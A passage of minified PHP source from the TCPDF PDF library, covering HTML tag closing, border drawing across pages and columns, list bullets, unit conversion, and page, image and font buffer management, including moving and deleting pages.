";}}elseif($page==$endpage){$deltacol=0;$deltath=0;for($column=0;$column<=$endcolumn;++$column){$this->selectColumn($column);if($column==$endcolumn){$cborder=$border_end;if(isset($this->columns[$column]['th']['\''.$page.'\''])){$this->y=$this->columns[$column]['th']['\''.$page.'\''];}$this->x+=$deltacol;$h=$endy-$this->y;}else {$cborder=$border_middle;if(isset($this->columns[$column]['th']['\''.$page.'\''])){$this->y=$this->columns[$column]['th']['\''.$page.'\''];}$this->x+=$deltacol;$h=$this->h-$this->y-$this->bMargin;}$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}else {$deltacol=0;$deltath=0;for($column=0;$column<$this->num_columns;++$column){$this->selectColumn($column);$cborder=$border_middle;if(isset($this->columns[$column]['th']['\''.$page.'\''])){$this->y=$this->columns[$column]['th']['\''.$page.'\''];}$this->x+=$deltacol;$h=$this->h-$this->y-$this->bMargin;$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}if(!empty($cborder) OR !empty($fill)){$offsetlen=strlen($ccode);if($this->inxobj){if(end($this->xobjects[$this->xobjid]['transfmrk'])!==false){$pagemarkkey=key($this->xobjects[$this->xobjid]['transfmrk']);$pagemark=$this->xobjects[$this->xobjid]['transfmrk'][$pagemarkkey];$this->xobjects[$this->xobjid]['transfmrk'][$pagemarkkey]+=$offsetlen;}else {$pagemark=$this->xobjects[$this->xobjid]['intmrk'];$this->xobjects[$this->xobjid]['intmrk']+=$offsetlen;}$pagebuff=$this->xobjects[$this->xobjid]['outdata'];$pstart=substr($pagebuff,0,$pagemark);$pend=substr($pagebuff,$pagemark);$this->xobjects[$this->xobjid]['outdata']=$pstart.$ccode.$pend;}else {if(end($this->transfmrk[$this->page])!==false){$pagemarkkey=key($this->transfmrk[$this->page]);$pagemark=$this->transfmrk[$this->page][$pagemarkkey];}elseif($this->InFooter){$pagemark=$this->footerpos[$this->page];}else {$pagemark=$this->intmrk[$this->page];}$pagebuff=$this->getPageBuffer($this->page);$pstart=substr($pagebuff,0,$pagemark);$pend=substr($pagebuff,$pagemark);$this->setPageBuffer($this->page,$pstart.$ccode.$pend);}}}$border=$default_border;}if(isset($table_el['attribute']['cellspacing'])){$this->y+=$this->getHTMLUnitToUnits($table_el['attribute']['cellspacing'],1,'px');}elseif(isset($table_el['border-spacing'])){$this->y+=$table_el['border-spacing']['V'];}$this->Ln(0,$cell);$this->x=$parent['startx'];if($endpage>$startpage){if(($this->rtl) AND ($this->pagedim[$endpage]['orm']!=$this->pagedim[$startpage]['orm'])){$this->x+=($this->pagedim[$endpage]['orm']-$this->pagedim[$startpage]['orm']);}elseif((!$this->rtl) AND ($this->pagedim[$endpage]['olm']!=$this->pagedim[$startpage]['olm'])){$this->x+=($this->pagedim[$endpage]['olm']-$this->pagedim[$startpage]['olm']);}}}if(!$in_table_head){$this->cell_padding=$table_el['old_cell_padding'];$this->resetLastH();if(($this->page==($this->numpages-1)) AND ($this->pageopen[$this->numpages])){$plendiff=($this->pagelen[$this->numpages]-$this->emptypagemrk[$this->numpages]);if(($plendiff>0) AND ($plendiff<60)){$pagediff=substr($this->getPageBuffer($this->numpages),$this->emptypagemrk[$this->numpages],$plendiff);if(substr($pagediff,0,5)=='BT /F'){$plendiff=0;}}if($plendiff==0){$this->deletePage($this->numpages);}}if(isset($this->theadMargins['top'])){$this->tMargin=$this->theadMargins['top'];}if(!isset($table_el['attribute']['nested']) OR ($table_el['attribute']['nested']!='true')){$this->thead='';$this->theadMargins=array();$this->pagedim[$this->page]['tm']=$this->tMargin;}}$parent=$table_el;break;}case 'a':{$this->HREF='';break;}case 'sup':{$this->SetXY($this->GetX(),$this->GetY()+((0.7*$parent['fontsize'])/$this->k));break;}case 'sub':{$this->SetXY($this->GetX(),$this->GetY()-((0.3*$parent['fontsize'])/$this->k));break;}case 'div':{$this->addHTMLVertSpace($hbz,$hb,$cell,false,$lasttag);break;}case 'blockquote':{if($this->rtl){$this->rMargin-=$this->listindent;}else {$this->lMargin-=$this->listindent;}--$this->listindentlevel;$this->addHTMLVertSpace($hbz,$hb,$cell,false,$lasttag);break;}case 'p':{$this->addHTMLVertSpace($hbz,$hb,$cell,false,$lasttag);break;}case 'pre':{$this->addHTMLVertSpace($hbz,$hb,$cell,false,$lasttag);$this->premode=false;break;}case 'dl':{--$this->listnum;if($this->listnum<=0){$this->listnum=0;$this->addHTMLVertSpace($hbz,$hb,$cell,false,$lasttag);}else {$this->addHTMLVertSpace(0,0,$cell,false,$lasttag);}$this->resetLastH();break;}case 'dt':{$this->lispacer='';$this->addHTMLVertSpace(0,0,$cell,false,$lasttag);break;}case 'dd':{$this->lispacer='';if($this->rtl){$this->rMargin-=$this->listindent;}else {$this->lMargin-=$this->listindent;}--$this->listindentlevel;$this->addHTMLVertSpace(0,0,$cell,false,$lasttag);break;}case 'ul':case 'ol':{--$this->listnum;$this->lispacer='';if($this->rtl){$this->rMargin-=$this->listindent;}else {$this->lMargin-=$this->listindent;}--$this->listindentlevel;if($this->listnum<=0){$this->listnum=0;$this->addHTMLVertSpace($hbz,$hb,$cell,false,$lasttag);}else {$this->addHTMLVertSpace(0,0,$cell,false,$lasttag);}$this->resetLastH();break;}case 'li':{$this->lispacer='';$this->addHTMLVertSpace(0,0,$cell,false,$lasttag);break;}case 'h1':case 'h2':case 'h3':case 'h4':case 'h5':case 'h6':{$this->addHTMLVertSpace($hbz,$hb,$cell,false,$lasttag);break;}case 'form':{$this->form_action='';$this->form_enctype='application/x-www-form-urlencoded';break;}default:{break;}}$this->drawHTMLTagBorder($parent,$xmax);if(isset($dom[($dom[$key]['parent'])]['attribute']['pagebreakafter'])){$pba=$dom[($dom[$key]['parent'])]['attribute']['pagebreakafter'];if(($pba=='true') OR ($pba=='left') OR ($pba=='right')){$this->checkPageBreak($this->PageBreakTrigger+1);}if((($pba=='left') AND (((!$this->rtl) AND (($this->page%2)==0)) OR (($this->rtl) AND (($this->page%2)!=0)))) OR (($pba=='right') AND (((!$this->rtl) AND (($this->page%2)!=0)) OR (($this->rtl) AND (($this->page%2)==0))))){$this->checkPageBreak($this->PageBreakTrigger+1);}}$this->tmprtl=false;return $dom;} function addHTMLVertSpace($hbz=0,$hb=0,$cell=false,$firsttag=false,$lasttag=false){if($firsttag){$this->Ln(0,$cell);$this->htmlvspace=0;return;}if($lasttag){$this->Ln($hbz,$cell);$this->htmlvspace=0;return;}if($hb<$this->htmlvspace){$hd=0;}else {$hd=$hb-$this->htmlvspace;$this->htmlvspace=$hb;}$this->Ln(($hbz+$hd),$cell);} function getBorderStartPosition(){if($this->rtl){$xmax=$this->lMargin;}else {$xmax=$this->w-$this->rMargin;}return array('page'=>$this->page,'column'=>$this->current_column,'x'=>$this->x,'y'=>$this->y,'xmax'=>$xmax);} function drawHTMLTagBorder($tag,$xmax){if(!isset($tag['borderposition'])){return;}$prev_x=$this->x;$prev_y=$this->y;$prev_lasth=$this->lasth;$border=0;$fill=false;$this->lasth=0;if(isset($tag['border']) AND !empty($tag['border'])){$border=$tag['border'];if(!TCPDF_STATIC::empty_string($this->thead) AND (!$this->inthead)){$border=TCPDF_STATIC::getBorderMode($border,$position='middle',$this->opencell);}}if(isset($tag['bgcolor']) AND ($tag['bgcolor']!==false)){$old_bgcolor=$this->bgcolor;$this->SetFillColorArray($tag['bgcolor']);$fill=true;}if(!$border AND !$fill){return;}if(isset($tag['attribute']['cellspacing'])){$clsp=$this->getHTMLUnitToUnits($tag['attribute']['cellspacing'],1,'px');$cellspacing=array('H'=>$clsp,'V'=>$clsp);}elseif(isset($tag['border-spacing'])){$cellspacing=$tag['border-spacing'];}else {$cellspacing=array('H'=>0,'V'=>0);}if(($tag['value']!='table') AND (is_array($border)) AND (!empty($border))){$border['mode']='ext';}if($this->rtl){if($xmax>=$tag['borderposition']['x']){$xmax=$tag['borderposition']['xmax'];}$w=($tag['borderposition']['x']-$xmax);}else {if($xmax<=$tag['borderposition']['x']){$xmax=$tag['borderposition']['xmax'];}$w=($xmax-$tag['borderposition']['x']);}if($w<=0){return;}$w+=$cellspacing['H'];$startpage=$tag['borderposition']['page'];$startcolumn=$tag['borderposition']['column'];$x=$tag['borderposition']['x'];$y=$tag['borderposition']['y'];$endpage=$this->page;$starty=$tag['borderposition']['y']-$cellspacing['V'];$currentY=$this->y;$this->x=$x;$endcolumn=$this->current_column;if($this->num_columns==0){$this->num_columns=1;}$border_start=TCPDF_STATIC::getBorderMode($border,$position='start',$this->opencell);$border_end=TCPDF_STATIC::getBorderMode($border,$position='end',$this->opencell);$border_middle=TCPDF_STATIC::getBorderMode($border,$position='middle',$this->opencell);$temp_page_regions=$this->page_regions;$this->page_regions=array();for($page=$startpage;$page<=$endpage;++$page){$ccode='';$this->setPage($page);if($this->num_columns<2){$this->x=$x;$this->y=$this->tMargin;}if($page>$startpage){if(($this->rtl) AND ($this->pagedim[$page]['orm']!=$this->pagedim[$startpage]['orm'])){$this->x-=($this->pagedim[$page]['orm']-$this->pagedim[$startpage]['orm']);}elseif((!$this->rtl) AND ($this->pagedim[$page]['olm']!=$this->pagedim[$startpage]['olm'])){$this->x+=($this->pagedim[$page]['olm']-$this->pagedim[$startpage]['olm']);}}if($startpage==$endpage){for($column=$startcolumn;$column<=$endcolumn;++$column){$this->selectColumn($column);if($startcolumn==$endcolumn){$cborder=$border;$h=($currentY-$y)+$cellspacing['V'];$this->y=$starty;}elseif($column==$startcolumn){$cborder=$border_start;$this->y=$starty;$h=$this->h-$this->y-$this->bMargin;}elseif($column==$endcolumn){$cborder=$border_end;$h=$currentY-$this->y;}else {$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;}$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}elseif($page==$startpage){for($column=$startcolumn;$column<$this->num_columns;++$column){$this->selectColumn($column);if($column==$startcolumn){$cborder=$border_start;$this->y=$starty;$h=$this->h-$this->y-$this->bMargin;}else {$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;}$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}elseif($page==$endpage){for($column=0;$column<=$endcolumn;++$column){$this->selectColumn($column);if($column==$endcolumn){$cborder=$border_end;$h=$currentY-$this->y;}else {$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;}$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}else {for($column=0;$column<$this->num_columns;++$column){$this->selectColumn($column);$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}if($cborder OR $fill){$offsetlen=strlen($ccode);if($this->inxobj){if(end($this->xobjects[$this->xobjid]['transfmrk'])!==false){$pagemarkkey=key($this->xobjects[$this->xobjid]['transfmrk']);$pagemark=$this->xobjects[$this->xobjid]['transfmrk'][$pagemarkkey];$this->xobjects[$this->xobjid]['transfmrk'][$pagemarkkey]+=$offsetlen;}else {$pagemark=$this->xobjects[$this->xobjid]['intmrk'];$this->xobjects[$this->xobjid]['intmrk']+=$offsetlen;}$pagebuff=$this->xobjects[$this->xobjid]['outdata'];$pstart=substr($pagebuff,0,$pagemark);$pend=substr($pagebuff,$pagemark);$this->xobjects[$this->xobjid]['outdata']=$pstart.$ccode.$pend;}else {if(end($this->transfmrk[$this->page])!==false){$pagemarkkey=key($this->transfmrk[$this->page]);$pagemark=$this->transfmrk[$this->page][$pagemarkkey];}elseif($this->InFooter){$pagemark=$this->footerpos[$this->page];}else {$pagemark=$this->intmrk[$this->page];}$pagebuff=$this->getPageBuffer($this->page);$pstart=substr($pagebuff,0,$pagemark);$pend=substr($pagebuff,$pagemark);$this->setPageBuffer($this->page,$pstart.$ccode.$pend);$this->bordermrk[$this->page]+=$offsetlen;$this->cntmrk[$this->page]+=$offsetlen;}}}$this->page_regions=$temp_page_regions;if(isset($old_bgcolor)){$this->SetFillColorArray($old_bgcolor);}$this->x=$prev_x;$this->y=$prev_y;$this->lasth=$prev_lasth;} function setLIsymbol($symbol='!'){if(substr($symbol,0,4)=='img|'){$this->lisymbol=$symbol;return;}$symbol=strtolower($symbol);$valid_symbols=array('!','#','disc','circle','square','1','decimal','decimal-leading-zero','i','lower-roman','I','upper-roman','a','lower-alpha','lower-latin','A','upper-alpha','upper-latin','lower-greek');if(in_array($symbol,$valid_symbols)){$this->lisymbol=$symbol;}else {$this->lisymbol='';}} function SetBooklet($booklet=true,$inner=-1,$outer=-1){$this->booklet=$booklet;if($inner>=0){$this->lMargin=$inner;}if($outer>=0){$this->rMargin=$outer;}} function swapMargins($reverse=true){if($reverse){$mtemp=$this->original_lMargin;$this->original_lMargin=$this->original_rMargin;$this->original_rMargin=$mtemp;$deltam=$this->original_lMargin-$this->original_rMargin;$this->lMargin+=$deltam;$this->rMargin-=$deltam;}} function setHtmlVSpace($tagvs){$this->tagvspaces=$tagvs;} function setListIndentWidth($width){return $this->customlistindent=floatval($width);} function setOpenCell($isopen){$this->opencell=$isopen;} function setHtmlLinksStyle($color=array(0,0,255),$fontstyle='U'){$this->htmlLinkColorArray=$color;$this->htmlLinkFontStyle=$fontstyle;} function getHTMLUnitToUnits($htmlval,$refsize=1,$defaultunit='px',$points=false){$supportedunits=array('%','em','ex','px','in','cm','mm','pc','pt');$retval=0;$value=0;$unit='px';if($points){$k=1;}else {$k=$this->k;}if(in_array($defaultunit,$supportedunits)){$unit=$defaultunit;}if(is_numeric($htmlval)){$value=floatval($htmlval);}elseif(preg_match('/([0-9\.\-\+]+)/',$htmlval,$mnum)){$value=floatval($mnum[1]);if(preg_match('/([a-z%]+)/',$htmlval,$munit)){if(in_array($munit[1],$supportedunits)){$unit=$munit[1];}}}switch($unit){case '%':{$retval=(($value*$refsize)/100);break;}case 'em':{$retval=($value*$refsize);break;}case 'ex':{$retval=($value*($refsize/2));break;}case 'in':{$retval=(($value*$this->dpi)/$k);break;}case 'cm':{$retval=(($value/2.54*$this->dpi)/$k);break;}case 'mm':{$retval=(($value/25.4*$this->dpi)/$k);break;}case 'pc':{$retval=(($value*12)/$k);break;}case 'pt':{$retval=($value/$k);break;}case 'px':{$retval=$this->pixelsToUnits($value);if($points){$retval*=$this->k;}break;}}return $retval;} function putHtmlListBullet($listdepth,$listtype='',$size=10){if($this->state!=2){return;}$size/=$this->k;$fill='';$bgcolor=$this->bgcolor;$color=$this->fgcolor;$strokecolor=$this->strokecolor;$width=0;$textitem='';$tmpx=$this->x;$lspace=$this->GetStringWidth('  ');if($listtype=='^'){$this->lispacer='';return;}elseif($listtype=='!'){$deftypes=array('disc','circle','square');$listtype=$deftypes[($listdepth-1)%3];}elseif($listtype=='#'){$listtype='decimal';}elseif(substr($listtype,0,4)=='img|'){$img=explode('|',$listtype);$listtype='img';}switch($listtype){case 'none':{break;}case 'disc':{$r=$size/6;$lspace+=(2*$r);if($this->rtl){$this->x+=$lspace;}else {$this->x-=$lspace;}$this->Circle(($this->x+$r),($this->y+($this->lasth/2)),$r,0,360,'F',array(),$color,8);break;}case 'circle':{$r=$size/6;$lspace+=(2*$r);if($this->rtl){$this->x+=$lspace;}else {$this->x-=$lspace;}$prev_line_style=$this->linestyleWidth.' '.$this->linestyleCap.' '.$this->linestyleJoin.' '.$this->linestyleDash.' '.$this->DrawColor;$new_line_style=array('width'=>($r/3),'cap'=>'butt','join'=>'miter','dash'=>0,'phase'=>0,'color'=>$color);$this->Circle(($this->x+$r),($this->y+($this->lasth/2)),($r*(1-(1/6))),0,360,'D',$new_line_style,array(),8);$this->_out($prev_line_style);break;}case 'square':{$l=$size/3;$lspace+=$l;if($this->rtl){;$this->x+=$lspace;}else {$this->x-=$lspace;}$this->Rect($this->x,($this->y+(($this->lasth-$l)/2)),$l,$l,'F',array(),$color);break;}case 'img':{$lspace+=$img[2];if($this->rtl){;$this->x+=$lspace;}else {$this->x-=$lspace;}$imgtype=strtolower($img[1]);$prev_y=$this->y;switch($imgtype){case 'svg':{$this->ImageSVG($img[4],$this->x,($this->y+(($this->lasth-$img[3])/2)),$img[2],$img[3],'','T','',0,false);break;}case 'ai':case 'eps':{$this->ImageEps($img[4],$this->x,($this->y+(($this->lasth-$img[3])/2)),$img[2],$img[3],'',true,'T','',0,false);break;}default:{$this->Image($img[4],$this->x,($this->y+(($this->lasth-$img[3])/2)),$img[2],$img[3],$img[1],'','T',false,300,'',false,false,0,false,false,false);break;}}$this->y=$prev_y;break;}case '1':case 'decimal':{$textitem=$this->listcount[$this->listnum];break;}case 'decimal-leading-zero':{$textitem=sprintf('%02d',$this->listcount[$this->listnum]);break;}case 'i':case 'lower-roman':{$textitem=strtolower(TCPDF_STATIC::intToRoman($this->listcount[$this->listnum]));break;}case 'I':case 'upper-roman':{$textitem=TCPDF_STATIC::intToRoman($this->listcount[$this->listnum]);break;}case 'a':case 'lower-alpha':case 'lower-latin':{$textitem=chr(97+$this->listcount[$this->listnum]-1);break;}case 'A':case 'upper-alpha':case 'upper-latin':{$textitem=chr(65+$this->listcount[$this->listnum]-1);break;}case 'lower-greek':{$textitem=TCPDF_FONTS::unichr((945+$this->listcount[$this->listnum]-1),$this->isunicode);break;}default:{$textitem=$this->listcount[$this->listnum];}}if(!TCPDF_STATIC::empty_string($textitem)){$prev_y=$this->y;$h=$this->getCellHeight($this->FontSize);if($this->checkPageBreak($h) OR ($this->y<$prev_y)){$tmpx=$this->x;}if($this->rtl){$textitem='.'.$textitem;}else {$textitem=$textitem.'.';}$lspace+=$this->GetStringWidth($textitem);if($this->rtl){$this->x+=$lspace;}else {$this->x-=$lspace;}$this->Write($this->lasth,$textitem,'',false,'',false,0,false);}$this->x=$tmpx;$this->lispacer='^';$this->SetFillColorArray($bgcolor);$this->SetDrawColorArray($strokecolor);$this->SettextColorArray($color);} function getGraphicVars(){$grapvars=array('FontFamily'=>$this->FontFamily,'FontStyle'=>$this->FontStyle,'FontSizePt'=>$this->FontSizePt,'rMargin'=>$this->rMargin,'lMargin'=>$this->lMargin,'cell_padding'=>$this->cell_padding,'cell_margin'=>$this->cell_margin,'LineWidth'=>$this->LineWidth,'linestyleWidth'=>$this->linestyleWidth,'linestyleCap'=>$this->linestyleCap,'linestyleJoin'=>$this->linestyleJoin,'linestyleDash'=>$this->linestyleDash,'textrendermode'=>$this->textrendermode,'textstrokewidth'=>$this->textstrokewidth,'DrawColor'=>$this->DrawColor,'FillColor'=>$this->FillColor,'TextColor'=>$this->TextColor,'ColorFlag'=>$this->ColorFlag,'bgcolor'=>$this->bgcolor,'fgcolor'=>$this->fgcolor,'htmlvspace'=>$this->htmlvspace,'listindent'=>$this->listindent,'listindentlevel'=>$this->listindentlevel,'listnum'=>$this->listnum,'listordered'=>$this->listordered,'listcount'=>$this->listcount,'lispacer'=>$this->lispacer,'cell_height_ratio'=>$this->cell_height_ratio,'font_stretching'=>$this->font_stretching,'font_spacing'=>$this->font_spacing,'alpha'=>$this->alpha,'lasth'=>$this->lasth,'tMargin'=>$this->tMargin,'bMargin'=>$this->bMargin,'AutoPageBreak'=>$this->AutoPageBreak,'PageBreakTrigger'=>$this->PageBreakTrigger,'x'=>$this->x,'y'=>$this->y,'w'=>$this->w,'h'=>$this->h,'wPt'=>$this->wPt,'hPt'=>$this->hPt,'fwPt'=>$this->fwPt,'fhPt'=>$this->fhPt,'page'=>$this->page,'current_column'=>$this->current_column,'num_columns'=>$this->num_columns);return $grapvars;} function setGraphicVars($gvars,$extended=false){if($this->state!=2){return;}$this->FontFamily=$gvars['FontFamily'];$this->FontStyle=$gvars['FontStyle'];$this->FontSizePt=$gvars['FontSizePt'];$this->rMargin=$gvars['rMargin'];$this->lMargin=$gvars['lMargin'];$this->cell_padding=$gvars['cell_padding'];$this->cell_margin=$gvars['cell_margin'];$this->LineWidth=$gvars['LineWidth'];$this->linestyleWidth=$gvars['linestyleWidth'];$this->linestyleCap=$gvars['linestyleCap'];$this->linestyleJoin=$gvars['linestyleJoin'];$this->linestyleDash=$gvars['linestyleDash'];$this->textrendermode=$gvars['textrendermode'];$this->textstrokewidth=$gvars['textstrokewidth'];$this->DrawColor=$gvars['DrawColor'];$this->FillColor=$gvars['FillColor'];$this->TextColor=$gvars['TextColor'];$this->ColorFlag=$gvars['ColorFlag'];$this->bgcolor=$gvars['bgcolor'];$this->fgcolor=$gvars['fgcolor'];$this->htmlvspace=$gvars['htmlvspace'];$this->listindent=$gvars['listindent'];$this->listindentlevel=$gvars['listindentlevel'];$this->listnum=$gvars['listnum'];$this->listordered=$gvars['listordered'];$this->listcount=$gvars['listcount'];$this->lispacer=$gvars['lispacer'];$this->cell_height_ratio=$gvars['cell_height_ratio'];$this->font_stretching=$gvars['font_stretching'];$this->font_spacing=$gvars['font_spacing'];$this->alpha=$gvars['alpha'];if($extended){$this->lasth=$gvars['lasth'];$this->tMargin=$gvars['tMargin'];$this->bMargin=$gvars['bMargin'];$this->AutoPageBreak=$gvars['AutoPageBreak'];$this->PageBreakTrigger=$gvars['PageBreakTrigger'];$this->x=$gvars['x'];$this->y=$gvars['y'];$this->w=$gvars['w'];$this->h=$gvars['h'];$this->wPt=$gvars['wPt'];$this->hPt=$gvars['hPt'];$this->fwPt=$gvars['fwPt'];$this->fhPt=$gvars['fhPt'];$this->page=$gvars['page'];$this->current_column=$gvars['current_column'];$this->num_columns=$gvars['num_columns'];}$this->_out(''.$this->linestyleWidth.' '.$this->linestyleCap.' '.$this->linestyleJoin.' '.$this->linestyleDash.' '.$this->DrawColor.' '.$this->FillColor.'');if(!TCPDF_STATIC::empty_string($this->FontFamily)){$this->SetFont($this->FontFamily,$this->FontStyle,$this->FontSizePt);}} function _outSaveGraphicsState(){$this->_out('q');} function _outRestoreGraphicsState(){$this->_out('Q');} function setBuffer($data){$this->bufferlen+=strlen($data);$this->buffer.=$data;} function replaceBuffer($data){$this->bufferlen=strlen($data);$this->buffer=$data;} function getBuffer(){return $this->buffer;} function setPageBuffer($page,$data,$append=false){if($append){$this->pages[$page].=$data;}else {$this->pages[$page]=$data;}if($append AND isset($this->pagelen[$page])){$this->pagelen[$page]+=strlen($data);}else {$this->pagelen[$page]=strlen($data);}} function getPageBuffer($page){if(isset($this->pages[$page])){return $this->pages[$page];}return false;} function setImageBuffer($image,$data){if(($data['i']=array_search($image,$this->imagekeys))===FALSE){$this->imagekeys[$this->numimages]=$image;$data['i']=$this->numimages;++$this->numimages;}$this->images[$image]=$data;return $data['i'];} function setImageSubBuffer($image,$key,$data){if(!isset($this->images[$image])){$this->setImageBuffer($image,array());}$this->images[$image][$key]=$data;} function getImageBuffer($image){if(isset($this->images[$image])){return $this->images[$image];}return false;} function setFontBuffer($font,$data){$this->fonts[$font]=$data;if(!in_array($font,$this->fontkeys)){$this->fontkeys[]=$font;++$this->n;$this->font_obj_ids[$font]=$this->n;$this->setFontSubBuffer($font,'n',$this->n);}} function setFontSubBuffer($font,$key,$data){if(!isset($this->fonts[$font])){$this->setFontBuffer($font,array());}$this->fonts[$font][$key]=$data;} function getFontBuffer($font){if(isset($this->fonts[$font])){return $this->fonts[$font];}return false;} function movePage($frompage,$topage){if(($frompage>$this->numpages) OR ($frompage<=$topage)){return false;}if($frompage==$this->page){$this->endPage();}$tmppage=$this->getPageBuffer($frompage);$tmppagedim=$this->pagedim[$frompage];$tmppagelen=$this->pagelen[$frompage];$tmpintmrk=$this->intmrk[$frompage];$tmpbordermrk=$this->bordermrk[$frompage];$tmpcntmrk=$this->cntmrk[$frompage];$tmppageobjects=$this->pageobjects[$frompage];if(isset($this->footerpos[$frompage])){$tmpfooterpos=$this->footerpos[$frompage];}if(isset($this->footerlen[$frompage])){$tmpfooterlen=$this->footerlen[$frompage];}if(isset($this->transfmrk[$frompage])){$tmptransfmrk=$this->transfmrk[$frompage];}if(isset($this->PageAnnots[$frompage])){$tmpannots=$this->PageAnnots[$frompage];}if(isset($this->newpagegroup) AND !empty($this->newpagegroup)){for($i=$frompage;$i>$topage;--$i){if(isset($this->newpagegroup[$i]) AND (($i+$this->pagegroups[$this->newpagegroup[$i]])>$frompage)){--$this->pagegroups[$this->newpagegroup[$i]];break;}}for($i=$topage;$i>0;--$i){if(isset($this->newpagegroup[$i]) AND (($i+$this->pagegroups[$this->newpagegroup[$i]])>$topage)){++$this->pagegroups[$this->newpagegroup[$i]];break;}}}for($i=$frompage;$i>$topage;--$i){$j=$i-1;$this->setPageBuffer($i,$this->getPageBuffer($j));$this->pagedim[$i]=$this->pagedim[$j];$this->pagelen[$i]=$this->pagelen[$j];$this->intmrk[$i]=$this->intmrk[$j];$this->bordermrk[$i]=$this->bordermrk[$j];$this->cntmrk[$i]=$this->cntmrk[$j];$this->pageobjects[$i]=$this->pageobjects[$j];if(isset($this->footerpos[$j])){$this->footerpos[$i]=$this->footerpos[$j];}elseif(isset($this->footerpos[$i])){unset($this->footerpos[$i]);}if(isset($this->footerlen[$j])){$this->footerlen[$i]=$this->footerlen[$j];}elseif(isset($this->footerlen[$i])){unset($this->footerlen[$i]);}if(isset($this->transfmrk[$j])){$this->transfmrk[$i]=$this->transfmrk[$j];}elseif(isset($this->transfmrk[$i])){unset($this->transfmrk[$i]);}if(isset($this->PageAnnots[$j])){$this->PageAnnots[$i]=$this->PageAnnots[$j];}elseif(isset($this->PageAnnots[$i])){unset($this->PageAnnots[$i]);}if(isset($this->newpagegroup[$j])){$this->newpagegroup[$i]=$this->newpagegroup[$j];unset($this->newpagegroup[$j]);}if($this->currpagegroup==$j){$this->currpagegroup=$i;}}$this->setPageBuffer($topage,$tmppage);$this->pagedim[$topage]=$tmppagedim;$this->pagelen[$topage]=$tmppagelen;$this->intmrk[$topage]=$tmpintmrk;$this->bordermrk[$topage]=$tmpbordermrk;$this->cntmrk[$topage]=$tmpcntmrk;$this->pageobjects[$topage]=$tmppageobjects;if(isset($tmpfooterpos)){$this->footerpos[$topage]=$tmpfooterpos;}elseif(isset($this->footerpos[$topage])){unset($this->footerpos[$topage]);}if(isset($tmpfooterlen)){$this->footerlen[$topage]=$tmpfooterlen;}elseif(isset($this->footerlen[$topage])){unset($this->footerlen[$topage]);}if(isset($tmptransfmrk)){$this->transfmrk[$topage]=$tmptransfmrk;}elseif(isset($this->transfmrk[$topage])){unset($this->transfmrk[$topage]);}if(isset($tmpannots)){$this->PageAnnots[$topage]=$tmpannots;}elseif(isset($this->PageAnnots[$topage])){unset($this->PageAnnots[$topage]);}$tmpoutlines=$this->outlines;foreach($tmpoutlines as $key=>$outline){if(!$outline['f']){if(($outline['p']>=$topage) AND ($outline['p']<$frompage)){$this->outlines[$key]['p']=($outline['p']+1);}elseif($outline['p']==$frompage){$this->outlines[$key]['p']=$topage;}}}$tmpdests=$this->dests;foreach($tmpdests as $key=>$dest){if(!$dest['f']){if(($dest['p']>=$topage) AND ($dest['p']<$frompage)){$this->dests[$key]['p']=($dest['p']+1);}elseif($dest['p']==$frompage){$this->dests[$key]['p']=$topage;}}}$tmplinks=$this->links;foreach($tmplinks as $key=>$link){if(!$link['f']){if(($link['p']>=$topage) AND ($link['p']<$frompage)){$this->links[$key]['p']=($link['p']+1);}elseif($link['p']==$frompage){$this->links[$key]['p']=$topage;}}}$jfrompage=$frompage;$jtopage=$topage;if(preg_match_all('/this\.addField\(\'([^\']*)\',\'([^\']*)\',([0-9]+)/',$this->javascript,$pamatch)>0){foreach($pamatch[0] as $pk=>$pmatch){$pagenum=intval($pamatch[3][$pk])+1;if(($pagenum>=$jtopage) AND ($pagenum<$jfrompage)){$newpage=($pagenum+1);}elseif($pagenum==$jfrompage){$newpage=$jtopage;}else {$newpage=$pagenum;}--$newpage;$newjs="this.addField(\'".$pamatch[1][$pk]."\',\'".$pamatch[2][$pk]."\',".$newpage;$this->javascript=str_replace($pmatch,$newjs,$this->javascript);}unset($pamatch);}$this->lastPage(true);return true;} function deletePage($page){if(($page<1) OR ($page>$this->numpages)){return false;}unset($this->pages[$page]);unset($this->pagedim[$page]);unset($this->pagelen[$page]);unset($this->intmrk[$page]);unset($this->bordermrk[$page]);unset($this->cntmrk[$page]);foreach($this->pageobjects[$page] as $oid){if(isset($this->offsets[$oid])){unset($this->offsets[$oid]);}}unset($this->pageobjects[$page]);if(isset($this->footerpos[$page])){unset($this->footerpos[$page]);}if(isset($this->footerlen[$page])){unset($this->footerlen[$page]);}if(isset($this->transfmrk[$page])){unset($this->transfmrk[$page]);}if(isset($this->PageAnnots[$page])){unset($this->PageAnnots[$page]);}if(isset($this->newpagegroup) AND !empty($this->newpagegroup)){for($i=$page;$i>0;--$i){if(isset($this->newpagegroup[$i]) AND (($i+$this->pagegroups[$this->newpagegroup[$i]])>$page)){--$this->pagegroups[$this->newpagegroup[$i]];break;}}}if(isset($this->pageopen[$page])){unset($this->pageopen[$page]);}if($page<$this->numpages){for($i=$page;$i<$this->numpages;++$i){$j=$i+1;$this->setPageBuffer($i,$this->getPageBuffer($j));$this->pagedim[$i]=$this->pagedim[$j];$this->pagelen[$i]=$this->pagelen[$j];$this->intmrk[$i]=$this->intmrk[$j];$this->bordermrk[$i]=$this->bordermrk[$j];$this->cntmrk[$i]=$this->cntmrk[$j];$this->pageobjects[$i]=$this->pageobjects[$j];if(isset($this->footerpos[$j])){$this->footerpos[$i]=$this->footerpos[$j];}elseif(isset($this->footerpos[$i])){unset($this->footerpos[$i]);}if(isset($this->footerlen[$j])){$this->footerlen[$i]=$this->footerlen[$j];}elseif(isset($this->footerlen[$i])){unset($this->footerlen[$i]);}if(isset($this->transfmrk[$j])){$this->transfmrk[$i]=$this->transfmrk[$j];}elseif(isset($this->transfmrk[$i])){unset($this->transfmrk[$i]);}if(isset($this->PageAnnots[$j])){$this->PageAnnots[$i]=$this->PageAnnots[$j];}